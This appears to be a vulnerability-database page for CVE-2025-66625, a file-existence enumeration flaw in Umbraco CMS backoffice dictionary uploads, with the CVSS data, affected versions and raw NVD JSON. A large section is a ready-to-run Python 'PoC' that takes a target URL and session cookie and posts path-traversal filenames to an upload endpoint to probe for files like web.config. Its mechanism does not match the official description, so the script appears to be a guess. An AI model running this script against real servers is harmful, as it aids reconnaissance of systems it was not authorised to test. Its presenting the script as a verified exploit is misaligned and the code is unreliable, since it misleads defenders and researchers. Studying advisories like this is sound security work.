Security Vulnerability Report
中文
CVE-2025-66625 CVSS 4.9 MEDIUM

CVE-2025-66625

Published: 2025-12-09 20:15:55
Last Modified: 2026-01-02 21:27:54

Description

Umbraco is an ASP.NET CMS. Due to unsafe handling and deletion of temporary files in versions 10.0.0 through 13.12.0, during the dictionary upload process an attacker with access to the backoffice can trigger predictable requests to temporary file paths. The application’s error responses (HTTP 500 when a file exists, 404 when it does not) allow the attacker to enumerate the existence of arbitrary files on the server’s filesystem. This vulnerability does not allow reading or writing file contents. In certain configurations, incomplete clean-up of temporary upload files may additionally expose the NTLM hash of the Windows account running the Umbraco application. This issue is fixed in version 13.12.1.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:umbraco:umbraco_cms:*:*:*:*:*:*:*:* - VULNERABLE
Umbraco CMS >= 10.0.0 且 < 13.12.1
Umbraco CMS 10.0.0 - 13.12.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66625 PoC - Umbraco CMS File Enumeration via Temporary File Handling # This PoC demonstrates how an attacker with backoffice access can enumerate files import requests import sys from urllib.parse import urljoin class UmbracoFileEnumerator: def __init__(self, target_url, session_cookie): self.target_url = target_url.rstrip('/') self.session_cookie = session_cookie self.session = requests.Session() self.session.cookies.set('.ASPXAUTH', session_cookie) def check_file_exists(self, file_path): """ Check if a file exists by triggering dictionary upload process The vulnerability relies on predictable temp file paths and different HTTP responses (500 = exists, 404 = not exists) """ upload_endpoint = f"{self.target_url}/umbraco/backoffice/Api/Dictionary/Upload" # Craft request to predictable temp file path payload = { 'file': ('../../../../../../' + file_path, 'test.xml', 'text/xml') } try: response = self.session.post(upload_endpoint, files=payload, timeout=10) # File exists returns 500, file not exists returns 404 if response.status_code == 500: return True elif response.status_code == 404: return False else: return None except requests.exceptions.RequestException as e: print(f"Request error: {e}") return None def enumerate_files(self, file_list): """Enumerate existence of multiple files""" results = [] for file_path in file_list: exists = self.check_file_exists(file_path) results.append({ 'file': file_path, 'exists': exists, 'status': 'CONFIRMED' if exists else 'NOT FOUND' }) return results def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-66625_poc.py <target_url> <session_cookie>") print("Example: python cve-2025-66625_poc.py http://target.com umbraco_session_token") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] enumerator = UmbracoFileEnumerator(target, cookie) # Example file enumeration targets target_files = [ 'windows/win.ini', 'boot.ini', 'web.config', 'C:/inetpub/wwwroot/web.config', 'app_data/umbraco.config' ] print("[*] Starting file enumeration for CVE-2025-66625") print(f"[*] Target: {target}\n") results = enumerator.enumerate_files(target_files) for result in results: status_icon = "[+]" if result['exists'] else "[-]" print(f"{status_icon} {result['file']}: {result['status']}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66625", "sourceIdentifier": "[email protected]", "published": "2025-12-09T20:15:55.320", "lastModified": "2026-01-02T21:27:53.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Umbraco is an ASP.NET CMS. Due to unsafe handling and deletion of temporary files in versions 10.0.0 through 13.12.0, during the dictionary upload process an attacker with access to the backoffice can trigger predictable requests to temporary file paths. The application’s error responses (HTTP 500 when a file exists, 404 when it does not) allow the attacker to enumerate the existence of arbitrary files on the server’s filesystem. This vulnerability does not allow reading or writing file contents. In certain configurations, incomplete clean-up of temporary upload files may additionally expose the NTLM hash of the Windows account running the Umbraco application. This issue is fixed in version 13.12.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-377"}, {"lang": "en", "value": "CWE-552"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:umbraco:umbraco_cms:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "13.12.1", "matchCriteriaId": "B904F652-14AF-428F-A56F-360975A8C8D7"}]}]}], "references": [{"url": "https://github.com/umbraco/Umbraco-CMS/commit/7505efd433189037f46547932d4a8b603fd4a615", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/umbraco/Umbraco-CMS/security/advisories/GHSA-hfv2-pf68-m33x", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}]}}